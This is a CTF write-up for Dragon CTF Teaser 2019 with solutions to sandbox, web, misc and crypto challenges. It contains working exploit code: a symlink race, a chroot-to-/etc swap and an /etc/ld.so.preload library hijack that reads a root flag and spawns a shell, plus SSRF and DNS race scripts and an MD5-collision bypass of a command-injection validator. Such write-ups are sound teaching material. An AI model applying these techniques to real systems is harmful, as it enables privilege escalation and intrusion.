Dragon CTF Teaser 2019

Sandbox

Trusted Loading 1

We can execute any binary under the chroot("/home/chall/chroot"). We also can call trusted_loader to execute binary not under the chroot if that binary pass the signature check. The bug is at when trusted_loader check the file using stat with S_ISREG. If we provide a symlink, S_ISREG will also return True. We first let the symlink link to the "tester" to pass the signature check. Before trusted_loader execute the binary, we rename the binary which we want to execute to "tester". In the end, we can execute any binary not under the chroot to read "/flag1".

Trusted Loading 2

In this challenge, we have to read the "/flag2" which is only read by root. We found that we can upload file to the "/home/chall/chroot". This process is done by root privilege. "/home/chall" is owned by 1337, so we can delete "/home/chall/chroot" and make it as a symlink to any path. It means that we can create any file in any path. We create /etc/ld.so.preload and exit. When executing poweroff, it will preload our library. We hijack getopt_long to read the flag2.

from pwn import *


def Upload(filename,name):
    data = open(filename).read()
    r.sendlineafter("3.","2")
    r.sendlineafter("?",name)
    r.sendlineafter("?",str(len(data)))
    r.sendafter("?",data)
def Do_elf(filename):
    data = open(filename).read()
    r.sendlineafter("3.","1")
    r.sendlineafter("?",str(len(data)))
    r.sendafter("?",data)
'''
init.c
#include <stdio.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <unistd.h>
int main(){
        symlink("/home/chall/chroot/tester","PWN");
        symlink("/home/chall/chroot/tester.sig","PWN.sig");
        while(1) {
                sleep(1);
        }

}

exp.c
int main(){
        system("rm -rf ../chroot");
        system("ln -s /etc ../chroot");
        puts("Done");
        puts("3.");
        sleep(1);

}

sandbox.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(){
        write(666,"\x01PWN",4);
        sleep(1);
        rename("exp","tester");
}

libx.c
int getopt_long(){
        printf("My id : %d\n",getuid());
        int fd = open("/flag2",0);
        char buf[0x100];
        write(1,buf,read(fd,buf,0x100));
        unlink("/etc/libx.so");
        system("sh");
        return 0;
}

ld.so.preload
libx.so
'''


r = remote("trustedloading.hackable.software", 1337)
r.recvuntil(": ")
s = process(r.recvline()[:-1].split())
s.recvuntil(": ")
r.send(s.recvall())
s.close()

#r = process('./start.sh')

data = open("init").read()
r.sendlineafter("?",str(len(data)))
r.sendafter("?",data)
Upload("tester","tester")
Upload("tester.sig","tester.sig")
Upload("exp","exp")
context.arch = "amd64"
Do_elf("sandbox")
r.recvuntil("Done");
Upload("ld.so.preload","ld.so.preload")
Upload("libx.so","libx.so")
r.sendlineafter("3.","3")
r.interactive()

Web

rms

  • The program didn't check IPv4 0.0.0.0.
  • http://0:8000/flag
  • DrgnS{350aa97f27f497f7bc13}

rms-fixed

  • man gehostbyname: `The functions gethostbyname() and gethostbyaddr() may return pointers to static data, which may be overwritten by later calls.
  • Set up a domain with AAAA record.
  • Race condition on ipv4 sockaddr.
#!/usr/bin/env python
from pwn import *

'''
HTTP/1.0 200 OK
Server: BaseHTTP/0.3 Python/2.7.15+
Date: Sun, 22 Sep 2019 13:10:31 GMT

DrgnS{e9759caf4f2d2b69773c}

'''

y = remote( 'rms-fixed.hackable.software' , 1337 )

def add( url ):
    y.sendlineafter( '[pfvaq]' , 'a' )
    y.sendlineafter( 'url?' , url )

add( 'http://domain:8000/flag' ) # domain with AAAA record

for i in range( 0x10 ):
    add( 'http://127.0.0.1' )

y.sendlineafter( '[pfvaq]' , 'v 0' )

y.interactive()

looking glass

In this task, we can send a protobuf to server, the server will check the input won't cause commandline injection and execute it. However, the validator also has a md5 cache.

The vulnerability is obvious: craft a good/evil pair of payload with same md5.

The first method I tried is chosen prefix collision: Create two payload and add some dummy bytes after to make md5 collision. However, the input length is limited to 4 blocks. It's computation complexity is about 2^50. It may be feasible using a single GPU machine, but I solved it in another way before my GPU found the collision.

There's a weaker version of collision attack on md5 called Unicoll, we can control the prefix and it also has a predictable difference (e.g. +1), so we can create blocks like:

aaaaaaaaaaaa...
aaaaaaaaabaa...

In protobuf, we have a Length-delimited type:

[id | type] [length] [data]

Combine these things together, we can create a pair of payload where the length has one byte difference. And my final payload looks like:

Evil one:
(evil payload) ([dummyID] [ n ] [collision ...]) ([dummyID]    [dummyID] [0   [addressID] 7 "8.8.8.8"   [pad]])

Good one:
(evil payload) ([dummyID] [n+1] [collision ...    [dummyID]]) ([dummyID]  0) ([addressID] 7 "8.8.8.8") ([pad])

Misc

PlayCAP (unsolved)

This challenge was solved 30 minutes after the CTF ended, because I didn't notice the time lol.

Official repo

The PCAP contains USB data of a controller talking to the HTML5 controller API. However. ot's hard to find the USB spec of Nintendo Switch controller. The only information I found is this, though I don't think it's useful.

Then, in the HTML page, I found there were only 5 keys. Maybe we can directly observe bits in packets to determine the corresponding key. I write a simple Python script to analyze the bits distribution:

First, filter the USB packets with leftover data.

$ tshark -r PlayCAP.pcapng -T fields -e usb.capdata

Then compute the distrubition of each bits in USB leftover data.

Counter({'0': 4720, '1': 259}) // reset? confirm?
Counter({'0': 4979})
Counter({'0': 4918, '1': 61})  // confirm? reset?
Counter({'0': 4979})
Counter({'1': 4979})
Counter({'0': 4979})
Counter({'0': 4979})
Counter({'0': 4979})
Counter({'0': 4979})
Counter({'0': 4979})
Counter({'0': 4979})
Counter({'0': 4979})
Counter({'0': 4979})
Counter({'0': 4979})
Counter({'0': 4979})
Counter({'0': 4979})
Counter({'0': 4830, '1': 149}) // direction pads?
Counter({'0': 4606, '1': 373}) // direction pads?
Counter({'0': 4842, '1': 137}) // direction pads?
Counter({'0': 4794, '1': 185}) // direction pads?
...
Counter({'0': 2364, '1': 23XX})

Because the button usually works like this: if it's pressed, it will remain 1 for a few microseconds. Once it's released it will become 0. Based on this assumption, we can make a good guess. I've marked those bits in the code above.

The rest is just recovering the button.

#!/usr/bin/env python3
from collections import Counter
from itertools import permutations

board = '''ABCDEFGHIJ
KLMNOPQRST
UVWXYZabcd
efghijklmn
opqrstuvwx
yz.,-=:;{}'''.split('\n')

# wirhshark: filter "usb.src == 1.8.1" and save as filtered.pcapng
# tshark -r filtered.pcapng -T fields -e usb.capdata  > data

lines = [bin(int(line[0:24],16))[2:].zfill(24*8) for line in open('data').read().splitlines() if line != '']
ops = [i[124]+i[126]+i[140:144] for i in lines]

dir_map = {dir_op_code:dxdy for dir_op_code, dxdy in zip(['1000', '0100', '0010', '0001'], [
   #(y, x)
    ( 0, -1), # left
    ( 0, +1), # right
    (-1,  0), # up
    (+1,  0), # down
])}
flag = ''
last_op = '111111'
last_cnt = 0
pos = (0, 0)
for op in ops[3:]:
    if op == last_op:
        last_cnt += 1
        continue
    if op == '000000':
        print(last_cnt)
        last_op = op
        last_cnt = 0
        continue
    assert last_op == '000000'
    assert op.count('1') == 1
    last_op = op
    y, x = pos
    confirm, reset, direction = op[0], op[1], op[2:]
    if confirm == '1':
        print('confirm', end=', ')
        flag += board[y][x]
    elif reset == '1':
        print('reset', end=', ')
        pos = (0, 0)
    else:
        print('dir', direction, end=', ')
        dy, dx = dir_map[direction]
        pos = ((y+dy) % len(board), (x+dx) % len(board[0]))
print(flag)

The flag: DrgnS{LetsPlayAGamepad}

babyPDF

  • Use zlib to extract pdj obj stream.
  • Remove /Filter /FlateDecode.
  • Change the color to black: 0 0 0 rg /a0 gs.

Crypto

rsachained

In this task, we got 4 different variants of RSA:

N1 = p1 * q1        (p 700 bits, q 1400 bits)
N2 = p2 * q2 * r    (p 700 bits, q 700 bits, r 700 bits)
N3 = p3 * q3 * r    (p 700 bits, q 700 bits, r 700 bits)
N4 = p4 * q4 * q4   (p 700 bits, q 700 bits)

And we have N and lower 1050 bits of d, which is defined as:

e = 1667
d = inverse(e, phi(N))

To solve the first one, we can use the method described in this paper.

e * d = 1 (mod phi(N))
e * d = k * phi(N) + 1
d < phi(N) => k < e

s = p + q
phi(N) = (p - 1) * (q - 1) = N − s + 1

e * d0 = 1 + k(N − s + 1)  (mod 2^1050)

p^2 - s * p + N = 0

We can try all k to find s and p. Since p is only 700 bits, we don't need coppersmith to recover full p.

For second and third one, there's a common factor (r) between those two N. We can calculate gcd to recover r and divide it, so the problem becomes same as the previous one.

For the last one, we have to use a different polynomial:

s = (pq + q^2 - q)
phi(N) = (p - 1) * (q - 1) * q = N - s

e * d0 = 1 + k(N − s)  (mod 2^1050)

q^3 - q^2 - s * q + N = 0

Solve that polynomial to recover q.